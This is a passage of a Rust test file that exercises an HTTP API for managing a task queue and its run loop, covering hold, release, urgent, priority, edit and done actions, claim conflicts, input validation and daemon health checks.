16605 queue.put(&mut task).expect("file the task");
16606
16607 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16608 assert_eq!(held.status, 200);
16609 assert_eq!(held.json()["status_str"], "held");
16610
16611 let released = f
16612 .post(&format!("/api/queue/{}/release", task.id), None)
16613 .await;
16614 assert_eq!(released.status, 200);
16615 assert_eq!(released.json()["status_str"], "queued");
16616 assert_eq!(released.json()["resumption"]["source"], "web");
16617 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16618 let mut cli = task.clone();
16619 cli.release_operator("cli", None);
16620 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16621 let cli = cli.resumption.unwrap();
16622 assert_eq!(web.instruction, cli.instruction);
16623 assert_eq!(web.answers_through, cli.answers_through);
16624 assert_eq!(web.runs_through, cli.runs_through);
16625 assert_eq!(web.cleared_reason, cli.cleared_reason);
16626 assert_eq!(
16627 released.json()["attempts"],
16628 0,
16629 "release is a real second chance, not an instant re-hold"
16630 );
16631 assert_eq!(
16632 queue.get(&task.id).expect("reload").status,
16633 TaskStatus::Queued,
16634 "the change is on disk, not only in the reply"
16635 );
16636 assert!(
16637 !f.home
16638 .path()
16639 .join("queue")
16640 .join(format!("{}.lock", task.id))
16641 .exists(),
16642 "the claim the mutation took is released again"
16643 );
16644 }
16645
16646 #[tokio::test]
16647 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16648 let f = Fixture::start().await;
16649 let queue = f.queue();
16650 let mut task = Task::new(
16651 "busy".to_owned(),
16652 "Running right now".to_owned(),
16653 PathBuf::from("/repo/magi"),
16654 Source::Human,
16655 );
16656 queue.put(&mut task).expect("file the task");
16657 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16658
16659 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16660
16661 assert_eq!(res.status, 409);
16662 assert_eq!(
16663 queue.get(&task.id).expect("reload").status,
16664 TaskStatus::Queued,
16665 "the refused hold changed nothing"
16666 );
16667 }
16668
16669 #[tokio::test]
16670 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16671 let f = Fixture::start().await;
16672 let queue = f.queue();
16673 let mut task = Task::new(
16674 "waiting on the migration".to_owned(),
16675 "Do the thing".to_owned(),
16676 PathBuf::from("/repo/magi"),
16677 Source::Human,
16678 );
16679 queue.put(&mut task).expect("file the task");
16680
16681 let held = f
16682 .post(
16683 &format!("/api/queue/{}/hold", task.id),
16684 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16685 )
16686 .await;
16687 assert_eq!(held.status, 200, "{}", held.body);
16688 assert_eq!(held.json()["status_str"], "held");
16689 assert_eq!(
16690 held.json()["hold_reason"],
16691 "waiting for 20260101-000000-aaaa to land"
16692 );
16693
16694 let listed = f.get("/api/queue").await.json();
16695 assert_eq!(
16696 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16697 "the card reads the reason off the same list route"
16698 );
16699
16700 let mut plain = Task::new(
16703 "no reason given".to_owned(),
16704 "Do another thing".to_owned(),
16705 PathBuf::from("/repo/magi"),
16706 Source::Human,
16707 );
16708 queue.put(&mut plain).expect("file the task");
16709 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16710 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16711 assert!(held_plain.json()["hold_reason"].is_null());
16712
16713 let released = f
16714 .post(&format!("/api/queue/{}/release", task.id), None)
16715 .await;
16716 assert_eq!(released.status, 200);
16717 assert!(
16718 released.json()["hold_reason"].is_null(),
16719 "a release must clear the reason so the next hold does not inherit it"
16720 );
16721 }
16722
16723 #[test]
16724 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16725 for urgent in [true, false] {
16726 let body: UrgentBody =
16727 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16728 assert_eq!(body.urgent, urgent);
16729 }
16730 for input in [
16731 r#"{}"#,
16732 r#"{"urgent":null}"#,
16733 r#"{"urgent":"true"}"#,
16734 r#"{"urgent":1}"#,
16735 r#"{"urgent":true,"extra":false}"#,
16736 ] {
16737 assert!(
16738 serde_json::from_str::<UrgentBody>(input).is_err(),
16739 "{input}"
16740 );
16741 }
16742 }
16743
16744 #[tokio::test]
16745 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16746 let home = TempDir::new().unwrap();
16747 let q = Queue::at(home.path().join("queue"));
16748 let ui = Arc::new(Ui::new(
16749 q.clone(),
16750 Questions::at(home.path().join("questions")),
16751 Talks::at(home.path().join("talks")),
16752 home.path().join("runs"),
16753 home.path().into(),
16754 home.path().into(),
16755 ));
16756 let mut task = Task::new(
16757 "urgent handler".into(),
16758 "keep".into(),
16759 home.path().into(),
16760 Source::Human,
16761 );
16762 for status in [TaskStatus::Queued, TaskStatus::Held] {
16763 task.status = status;
16764 q.put(&mut task).unwrap();
16765 for urgent in [true, true, false, false] {
16766 let saved = queue_urgent(
16767 State(Arc::clone(&ui)),
16768 Path(task.short().into()),
16769 Ok(Json(UrgentBody { urgent })),
16770 )
16771 .await
16772 .unwrap();
16773 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16774 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16775 }
16776 }
16777 task.status = TaskStatus::Queued;
16778 q.put(&mut task).unwrap();
16779 let claim = q.claim(&task.id).unwrap();
16780 let error = queue_urgent(
16781 State(Arc::clone(&ui)),
16782 Path(task.id.clone()),
16783 Ok(Json(UrgentBody { urgent: true })),
16784 )
16785 .await
16786 .unwrap_err();
16787 assert_eq!(error.status, StatusCode::CONFLICT);
16788 assert!(error.message.contains("released"));
16789 drop(claim);
16790 for status in [
16791 TaskStatus::Running,
16792 TaskStatus::Done,
16793 TaskStatus::Failed,
16794 TaskStatus::Blocked,
16795 TaskStatus::Parked,
16796 ] {
16797 task.status = status;
16798 q.put(&mut task).unwrap();
16799 let error = queue_urgent(
16800 State(Arc::clone(&ui)),
16801 Path(task.id.clone()),
16802 Ok(Json(UrgentBody { urgent: false })),
16803 )
16804 .await
16805 .unwrap_err();
16806 assert_eq!(error.status, StatusCode::BAD_REQUEST);
16807 assert!(error.message.contains(status.as_str()));
16808 }
16809 }
16810
16811 #[tokio::test]
16812 async fn urgent_api_updates_preserves_and_validates_tasks() {
16813 let f = Fixture::start().await;
16814 let q = f.queue();
16815 let mut t = Task::new(
16816 "urgent API".into(),
16817 "unchanged".into(),
16818 PathBuf::from("/repo/magi"),
16819 Source::Human,
16820 );
16821 t.attempts = 2;
16822 t.priority = 9;
16823 t.interrupt = true;
16824 t.hold_reason = Some("waiting for approval".into());
16825 for status in [TaskStatus::Queued, TaskStatus::Held] {
16826 t.status = status;
16827 q.put(&mut t).unwrap();
16828 for urgent in [true, true, false, false] {
16829 let response = f
16830 .post(
16831 &format!("/api/queue/{}/urgent", t.short()),
16832 Some(&format!("{{\"urgent\":{urgent}}}")),
16833 )
16834 .await;
16835 assert_eq!(response.status, 200, "{}", response.body);
16836 assert_eq!(response.json()["urgent"], urgent);
16837 let saved = q.get(&t.id).unwrap();
16838 let mut before = serde_json::to_value(&t).unwrap();
16839 let mut after = serde_json::to_value(saved).unwrap();
16840 before["urgent"] = urgent.into();
16841 before.as_object_mut().unwrap().remove("updated_at");
16842 after.as_object_mut().unwrap().remove("updated_at");
16843 assert_eq!(after, before);
16844 }
16845 }
16846 let route = format!("/api/queue/{}/urgent", t.id);
16847 for body in [
16848 r#"{}"#,
16849 r#"{"urgent":null}"#,
16850 r#"{"urgent":"true"}"#,
16851 r#"{"urgent":1}"#,
16852 r#"{"urgent":true,"extra":false}"#,
16853 "{",
16854 ] {
16855 assert_eq!(f.post(&route, Some(body)).await.status, 400);
16856 }
16857 t.status = TaskStatus::Queued;
16858 q.put(&mut t).unwrap();
16859 let claim = q.claim(&t.id).unwrap();
16860 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16861 assert_eq!(response.status, 409, "{}", response.body);
16862 assert!(!q.get(&t.id).unwrap().urgent);
16863 drop(claim);
16864 for status in [
16865 TaskStatus::Running,
16866 TaskStatus::Done,
16867 TaskStatus::Failed,
16868 TaskStatus::Blocked,
16869 TaskStatus::Parked,
16870 ] {
16871 t.status = status;
16872 q.put(&mut t).unwrap();
16873 for urgent in [true, false] {
16874 let response = f
16875 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16876 .await;
16877 assert_eq!(response.status, 400, "{}", response.body);
16878 assert!(response.body.contains(status.as_str()));
16879 assert!(response.body.contains("queued or held"));
16880 assert!(!q.get(&t.id).unwrap().urgent);
16881 }
16882 }
16883 assert_eq!(
16884 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16885 .await
16886 .status,
16887 404
16888 );
16889 }
16890
16891 #[tokio::test]
16892 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16893 let f = Fixture::start().await;
16894 let queue = f.queue();
16895 let mut older = Task::new(
16896 "filed first".to_owned(),
16897 "x".to_owned(),
16898 PathBuf::from("/repo/magi"),
16899 Source::Human,
16900 );
16901 older.id = "20260101-000001-aaaa".to_owned();
16902 let mut newer = Task::new(
16903 "filed second".to_owned(),
16904 "x".to_owned(),
16905 PathBuf::from("/repo/magi"),
16906 Source::Human,
16907 );
16908 newer.id = "20260101-000002-bbbb".to_owned();
16909 queue.put(&mut older).expect("file older");
16910 queue.put(&mut newer).expect("file newer");
16911
16912 let before = f.get("/api/queue").await.json();
16915 assert_eq!(before[0]["id"], newer.id);
16916 assert_eq!(before[1]["id"], older.id);
16917
16918 let raised = f
16922 .post(
16923 &format!("/api/queue/{}/priority", older.id),
16924 Some(r#"{"priority":10}"#),
16925 )
16926 .await;
16927 assert_eq!(raised.status, 200, "{}", raised.body);
16928 assert_eq!(raised.json()["priority"], 10);
16929
16930 let after = f.get("/api/queue").await.json();
16931 let names: Vec<&str> = after
16932 .as_array()
16933 .unwrap()
16934 .iter()
16935 .map(|t| t["id"].as_str().unwrap())
16936 .collect();
16937 assert_eq!(names[0], older.id, "the raised task now sorts first");
16941 }
16942
16943 #[tokio::test]
16944 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16945 let dir = TempDir::new().unwrap();
16946 let q = Queue::at(dir.path().join("queue"));
16947 let ui = Arc::new(Ui::new(
16948 q.clone(),
16949 Questions::at(dir.path().join("questions")),
16950 Talks::at(dir.path().join("talks")),
16951 dir.path().join("runs"),
16952 dir.path().to_path_buf(),
16953 dir.path().to_path_buf(),
16954 ));
16955 let mut t = Task::new(
16956 "budget".into(),
16957 "keep".into(),
16958 dir.path().into(),
16959 Source::Human,
16960 );
16961 t.attempts = 2;
16962 t.runs.push("prior-run".into());
16963 t.hold_manual(Some("waiting".into()));
16964 q.put(&mut t).unwrap();
16965 let change = |value| {
16966 queue_attempt_limit(
16967 State(ui.clone()),
16968 Path(t.id.clone()),
16969 Ok(Json(AttemptLimitBody {
16970 attempt_limit: value,
16971 })),
16972 )
16973 };
16974 for value in [
16975 serde_json::json!(3),
16976 serde_json::Value::Null,
16977 serde_json::json!(1),
16978 ] {
16979 let response = change(value.clone()).await.unwrap();
16980 assert_eq!(
16981 serde_json::to_value(response.0).unwrap()["attempt_limit"],
16982 value
16983 );
16984 let saved = q.get(&t.id).unwrap();
16985 assert_eq!(
16986 serde_json::to_value(&saved).unwrap()["attempt_limit"],
16987 value
16988 );
16989 assert_eq!(saved.status, TaskStatus::Held);
16990 assert_eq!(saved.attempts, t.attempts);
16991 assert_eq!(saved.runs, t.runs);
16992 assert_eq!(saved.hold_reason, t.hold_reason);
16993 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16994 .await
16995 .unwrap()
16996 .0;
16997 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16998 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16999 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17000 assert_eq!(outcome.max_attempts, detail.max_attempts);
17001 }
17002 for value in [
17003 serde_json::json!(0),
17004 serde_json::json!(-1),
17005 serde_json::json!(1.5),
17006 serde_json::json!("3"),
17007 serde_json::json!(true),
17008 ] {
17009 assert_eq!(
17010 change(value).await.err().unwrap().status,
17011 StatusCode::BAD_REQUEST
17012 );
17013 }
17014 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17015 let claim = q.claim(&t.id).unwrap();
17016 assert_eq!(
17017 change(serde_json::json!(4)).await.err().unwrap().status,
17018 StatusCode::CONFLICT
17019 );
17020 drop(claim);
17021 for status in [
17022 TaskStatus::Running,
17023 TaskStatus::Done,
17024 TaskStatus::Failed,
17025 TaskStatus::Blocked,
17026 TaskStatus::Parked,
17027 ] {
17028 let mut stored = q.get(&t.id).unwrap();
17029 stored.status = status;
17030 q.put(&mut stored).unwrap();
17031 assert_eq!(
17032 change(serde_json::json!(4)).await.err().unwrap().status,
17033 StatusCode::BAD_REQUEST
17034 );
17035 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17036 }
17037 let mut stored = q.get(&t.id).unwrap();
17038 stored.status = TaskStatus::Queued;
17039 q.put(&mut stored).unwrap();
17040 let _ = change(serde_json::Value::Null).await.unwrap();
17041 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17042 }
17043
17044 #[tokio::test]
17045 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17046 let dir = TempDir::new().unwrap();
17047 let repo = dir.path().join("repo");
17048 std::fs::create_dir(&repo).unwrap();
17049 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17050 let q = Queue::at(dir.path().join("queue"));
17051 let ui = Arc::new(Ui::new(
17052 q.clone(),
17053 Questions::at(dir.path().join("questions")),
17054 Talks::at(dir.path().join("talks")),
17055 dir.path().join("runs"),
17056 dir.path().to_path_buf(),
17057 repo.clone(),
17058 ));
17059 let mut t = Task::new(
17060 "seats".into(),
17061 "keep instruction".into(),
17062 repo,
17063 Source::Human,
17064 );
17065 t.runs.push("prior-run".into());
17066 t.hold_manual(Some("waiting".into()));
17067 q.put(&mut t).unwrap();
17068 let change = |count| {
17069 queue_implementers(
17070 State(ui.clone()),
17071 Path(t.id.clone()),
17072 Ok(Json(ImplementersBody {
17073 implementers: count,
17074 })),
17075 )
17076 };
17077 for count in [2, 1, 2] {
17078 let response = change(count).await.unwrap();
17079 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17080 let saved = q.get(&t.id).unwrap();
17081 assert_eq!(saved.implementers(), Some(usize::from(count)));
17082 assert_eq!(saved.runs, t.runs);
17083 assert_eq!(saved.instruction, t.instruction);
17084 }
17085 for count in [0, 4] {
17086 assert_eq!(
17087 change(count).await.err().unwrap().status,
17088 StatusCode::BAD_REQUEST
17089 );
17090 }
17091 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17092 let claim = q.claim(&t.id).unwrap();
17093 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17094 drop(claim);
17095 for status in [
17096 TaskStatus::Running,
17097 TaskStatus::Done,
17098 TaskStatus::Failed,
17099 TaskStatus::Blocked,
17100 TaskStatus::Parked,
17101 ] {
17102 let mut stored = q.get(&t.id).unwrap();
17103 stored.status = status;
17104 q.put(&mut stored).unwrap();
17105 assert_eq!(
17106 change(1).await.err().unwrap().status,
17107 StatusCode::BAD_REQUEST
17108 );
17109 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17110 }
17111 }
17112
17113 #[tokio::test]
17114 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17115 let f = Fixture::start().await;
17116 let queue = f.queue();
17117 let mut task = Task::new(
17118 "in flight".to_owned(),
17119 "x".to_owned(),
17120 PathBuf::from("/repo/magi"),
17121 Source::Human,
17122 );
17123 task.start("20260902-140502-bbbb".to_owned());
17124 queue.put(&mut task).expect("file the task");
17125
17126 let res = f
17127 .post(
17128 &format!("/api/queue/{}/priority", task.id),
17129 Some(r#"{"priority":9}"#),
17130 )
17131 .await;
17132 assert_eq!(res.status, 400, "{}", res.body);
17133 assert!(
17134 res.json()["error"]
17135 .as_str()
17136 .is_some_and(|e| e.contains("running")),
17137 "{}",
17138 res.body
17139 );
17140 assert_eq!(
17141 queue.get(&task.id).expect("reload").priority,
17142 0,
17143 "the refused write must not partially apply"
17144 );
17145 }
17146
17147 #[tokio::test]
17148 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17149 let f = Fixture::start().await;
17150 let queue = f.queue();
17151 let mut task = Task::new(
17152 "old title".to_owned(),
17153 "old instruction".to_owned(),
17154 PathBuf::from("/repo/magi"),
17155 Source::Agent {
17156 run: "20260101-000000-beef".to_owned(),
17157 node: "implement".to_owned(),
17158 },
17159 );
17160 task.runs.push("20260101-000000-beef".to_owned());
17161 queue.put(&mut task).expect("file the task");
17162 let created_at = task.created_at;
17163
17164 let edited = f
17165 .post(
17166 &format!("/api/queue/{}/edit", task.id),
17167 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17168 )
17169 .await;
17170 assert_eq!(edited.status, 200, "{}", edited.body);
17171 let body = edited.json();
17172 assert_eq!(body["title"], "new title");
17173 assert_eq!(body["instruction"], "new instruction");
17174 assert_eq!(body["id"], task.id, "editing must not mint a new id");
17175 assert_eq!(body["created_at"], created_at.to_string());
17176 assert_eq!(
17177 body["source"]["kind"], "agent",
17178 "editing a task an agent filed must not turn it human: {body}"
17179 );
17180 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17181
17182 let reloaded = queue.get(&task.id).expect("reload");
17183 assert_eq!(reloaded.title, "new title");
17184 assert_eq!(reloaded.instruction, "new instruction");
17185 }
17186
17187 #[tokio::test]
17188 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17189 let tmp = TempDir::new().expect("tempdir");
17192 let repo = tmp.path().join("repo");
17193 std::fs::create_dir_all(&repo).expect("repo dir");
17194 let judge = MOCK_AGENT_TOML.replace(
17195 "printf ok",
17196 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17197 );
17198 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17199 let f = Fixture::with_repo(repo.clone()).await;
17200 let queue = f.queue();
17201 let mut owner = Task::new(
17202 "owner".to_owned(),
17203 "review it".to_owned(),
17204 repo.clone(),
17205 Source::Human,
17206 );
17207 owner.review_branch = Some("magi/ab12/A".to_owned());
17208 queue.put(&mut owner).expect("file the owner");
17209 let mut task = Task::new(
17210 "draft".to_owned(),
17211 "old".to_owned(),
17212 repo.clone(),
17213 Source::Human,
17214 );
17215 queue.put(&mut task).expect("file the draft");
17216 let url = format!("/api/queue/{}/edit", task.id);
17217
17218 let refused = f
17219 .post(
17220 &url,
17221 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17222 )
17223 .await;
17224 assert_eq!(refused.status, 409, "{}", refused.body);
17225 let msg = refused.json()["error"]
17226 .as_str()
17227 .unwrap_or_default()
17228 .to_owned();
17229 assert!(
17230 msg.contains("magi/ab12/A") && msg.contains("force"),
17231 "{msg}"
17232 );
17233 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17234
17235 let forced = f
17236 .post(
17237 &url,
17238 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17239 )
17240 .await;
17241 assert_eq!(forced.status, 200, "{}", forced.body);
17242 }
17243
17244 #[tokio::test]
17245 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17246 let f = Fixture::start().await;
17247 let queue = f.queue();
17248 let mut task = Task::new(
17249 "in flight".to_owned(),
17250 "do not touch".to_owned(),
17251 PathBuf::from("/repo/magi"),
17252 Source::Human,
17253 );
17254 task.start("20260902-140502-bbbb".to_owned());
17255 queue.put(&mut task).expect("file the task");
17256
17257 let res = f
17258 .post(
17259 &format!("/api/queue/{}/edit", task.id),
17260 Some(r#"{"title":"x","instruction":"y"}"#),
17261 )
17262 .await;
17263 assert_eq!(res.status, 400, "{}", res.body);
17264 assert!(
17265 res.json()["error"]
17266 .as_str()
17267 .is_some_and(|e| e.contains("running")),
17268 "{}",
17269 res.body
17270 );
17271 assert_eq!(
17272 queue.get(&task.id).expect("reload").instruction,
17273 "do not touch",
17274 "the refused edit must not change the file"
17275 );
17276 }
17277
17278 #[tokio::test]
17279 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17280 let f = Fixture::start().await;
17281 let queue = f.queue();
17282 let mut task = Task::new(
17283 "busy".to_owned(),
17284 "Running right now".to_owned(),
17285 PathBuf::from("/repo/magi"),
17286 Source::Human,
17287 );
17288 queue.put(&mut task).expect("file the task");
17289 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17290
17291 let priority = f
17292 .post(
17293 &format!("/api/queue/{}/priority", task.id),
17294 Some(r#"{"priority":9}"#),
17295 )
17296 .await;
17297 assert_eq!(priority.status, 409, "{}", priority.body);
17298
17299 let edit = f
17300 .post(
17301 &format!("/api/queue/{}/edit", task.id),
17302 Some(r#"{"title":"x","instruction":"y"}"#),
17303 )
17304 .await;
17305 assert_eq!(edit.status, 409, "{}", edit.body);
17306 }
17307
17308 #[tokio::test]
17309 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17310 let f = Fixture::start().await;
17311 let queue = f.queue();
17312 let mut task = Task::new(
17313 "shipped by hand".to_owned(),
17314 "merged outside the loop".to_owned(),
17315 PathBuf::from("/repo/magi"),
17316 Source::Agent {
17317 run: "20260101-000000-b455".to_owned(),
17318 node: "implement".to_owned(),
17319 },
17320 );
17321 task.runs.push("20260101-000000-b455".to_owned());
17322 task.runs.push("20260101-000000-9af4".to_owned());
17323 queue.put(&mut task).expect("file the task");
17324 let created_at = task.created_at;
17325
17326 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17327 assert_eq!(done.status, 200, "{}", done.body);
17328 assert_eq!(done.json()["status_str"], "done");
17329
17330 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17331 assert_eq!(
17332 reloaded.runs,
17333 ["20260101-000000-b455", "20260101-000000-9af4"]
17334 );
17335 assert_eq!(
17336 reloaded.source,
17337 Source::Agent {
17338 run: "20260101-000000-b455".to_owned(),
17339 node: "implement".to_owned(),
17340 }
17341 );
17342 assert_eq!(reloaded.created_at, created_at);
17343 }
17344
17345 #[tokio::test]
17346 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17347 let f = Fixture::start().await;
17352 let queue = f.queue();
17353 let mut task = Task::new(
17354 "landed while held".to_owned(),
17355 "x".to_owned(),
17356 PathBuf::from("/repo/magi"),
17357 Source::Human,
17358 );
17359 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17360 queue.put(&mut task).expect("file the held task");
17361
17362 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17363 assert_eq!(done.status, 200, "{}", done.body);
17364 assert_eq!(done.json()["status_str"], "done");
17365 assert!(
17366 done.json()["hold_reason"].is_null(),
17367 "a done task cannot still be waiting on something: {}",
17368 done.body
17369 );
17370 }
17371
17372 #[tokio::test]
17373 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17374 let f = Fixture::start().await;
17379 let queue = f.queue();
17380 let runs = f.runs();
17381 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17382 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17386
17387 let mut task = Task::new(
17388 "landed by hand".to_owned(),
17389 "x".to_owned(),
17390 PathBuf::from("/repo/magi"),
17391 Source::Human,
17392 );
17393 task.runs.push("20260101-000000-doa1".to_owned());
17394 task.runs.push("20260101-000000-doa2".to_owned());
17395 queue.put(&mut task).expect("file the task");
17396
17397 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17398 assert_eq!(done.status, 200, "{}", done.body);
17399
17400 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17401 .expect("run still on disk under this fixture's own home");
17402 assert_eq!(
17403 reloaded_run.status,
17404 RunStatus::Superseded,
17405 "closing the task by hand must relabel the earlier blocked attempt exactly \
17406 like the loop's own settle path does"
17407 );
17408 }
17409
17410 #[tokio::test]
17411 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17412 let f = Fixture::start().await;
17417 let queue = f.queue();
17418 let runs = f.runs();
17419 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17420 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17421
17422 let mut task = Task::new(
17423 "closed with nothing actually landed".to_owned(),
17424 "x".to_owned(),
17425 PathBuf::from("/repo/magi"),
17426 Source::Human,
17427 );
17428 task.runs.push("20260101-000000-dob1".to_owned());
17429 task.runs.push("20260101-000000-dob2".to_owned());
17430 queue.put(&mut task).expect("file the task");
17431
17432 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17433 assert_eq!(done.status, 200, "{}", done.body);
17434
17435 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17436 .expect("run still on disk under this fixture's own home");
17437 assert_eq!(
17438 reloaded_run.status,
17439 RunStatus::Blocked,
17440 "the last recorded attempt never landed, so the earlier one must not be \
17441 relabelled as superseded by it"
17442 );
17443 }
17444
17445 #[tokio::test]
17446 async fn unknown_ids_are_json_not_found_on_both_stores() {
17447 let f = Fixture::start().await;
17448
17449 let run = f.get("/api/runs/nosuchrun").await;
17450 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17451
17452 assert_eq!(run.status, 404);
17453 assert_eq!(task.status, 404);
17454 assert!(
17455 run.json()["error"]
17456 .as_str()
17457 .is_some_and(|e| e.contains("run")),
17458 "the error names what was not found: {}",
17459 run.body
17460 );
17461 assert!(
17462 task.json()["error"]
17463 .as_str()
17464 .is_some_and(|e| e.contains("task")),
17465 "the error names what was not found: {}",
17466 task.body
17467 );
17468 }
17469
17470 #[tokio::test]
17471 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17472 let f = Fixture::start().await;
17473
17474 let missing = f.get("/api/health").await.json();
17475 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17476
17477 write_daemon(
17478 f.home.path(),
17479 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17480 );
17481 let stale = f.get("/api/health").await.json();
17482 assert_eq!(
17483 stale["daemon"]["running"], false,
17484 "a minute without a heartbeat is a dead daemon, not a busy one"
17485 );
17486 assert!(
17487 stale["daemon"]["stale_for_secs"]
17488 .as_i64()
17489 .is_some_and(|s| s >= 55),
17490 "staleness is reported so the UI can say how long: {stale}"
17491 );
17492
17493 write_daemon(f.home.path(), Timestamp::now());
17494 let fresh = f.get("/api/health").await.json();
17495 assert_eq!(fresh["daemon"]["running"], true);
17496 assert_eq!(fresh["daemon"]["idle"], false);
17497 assert_eq!(fresh["daemon"]["pid"], 4242);
17498 assert_eq!(fresh["daemon"]["completed"], 7);
17499 assert_eq!(
17500 fresh["daemon"]["current"][0]["task"],
17501 "20260902-140501-aaaa"
17502 );
17503 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17504 }
17505
17506 #[tokio::test]
17507 async fn the_loop_is_not_running_until_something_starts_it() {
17508 let f = Fixture::start().await;
17509
17510 let view = f.get("/api/loop").await.json();
17511 assert_eq!(view["running"], false);
17512 assert_eq!(
17513 view["owned"], false,
17514 "nobody owns a loop that does not exist: {view}"
17515 );
17516 assert_eq!(view["stopping"], false);
17517 assert_eq!(view["last_error"], Value::Null);
17518 assert_eq!(view["daemon"]["running"], false);
17519 assert_eq!(
17520 view["repo"], "/repo/magi",
17521 "the repository a start would use, named before it is started"
17522 );
17523 }
17524
17525 #[tokio::test]
17526 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17527 let f = Fixture::start().await;
17528
17529 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17530 assert_eq!(res.status, 200, "{}", res.body);
17531 let view = res.json();
17532 assert_eq!(view["running"], true);
17533 assert_eq!(
17534 view["owned"], true,
17535 "the loop the UI started is the UI's own to stop: {view}"
17536 );
17537 assert_eq!(
17538 view["merge"],
17539 Value::Null,
17540 "no override was given, so each repository's own config decides"
17541 );
17542
17543 let health = f.get("/api/health").await.json();
17547 assert_eq!(health["loop"]["running"], true, "{health}");
17548 assert_eq!(health["loop"]["owned"], true, "{health}");
17549
17550 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17551 }
17552
17553 #[tokio::test]
17554 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17555 let f = Fixture::start().await;
17556 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17557 assert_eq!(first.status, 200, "{}", first.body);
17558
17559 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17560 assert_eq!(
17561 again.status, 409,
17562 "two loops on one queue race for the same claims: {}",
17563 again.body
17564 );
17565 assert!(
17566 again.json()["error"]
17567 .as_str()
17568 .is_some_and(|e| e.contains("already running the loop")),
17569 "the refusal has to say why: {}",
17570 again.body
17571 );
17572 assert_eq!(
17573 f.get("/api/loop").await.json()["running"],
17574 true,
17575 "and the loop that was already running is untouched by it"
17576 );
17577
17578 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17579 }
17580
17581 #[tokio::test]
17582 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17583 let f = Fixture::start().await;
17584 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17585
17586 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17587 assert_eq!(
17588 res.status, 200,
17589 "the answer must not wait for the loop: a run in flight is tens of \
17590 minutes and the operator is holding a phone: {}",
17591 res.body
17592 );
17593
17594 let view = settled(&f, |v| v["running"] == false).await;
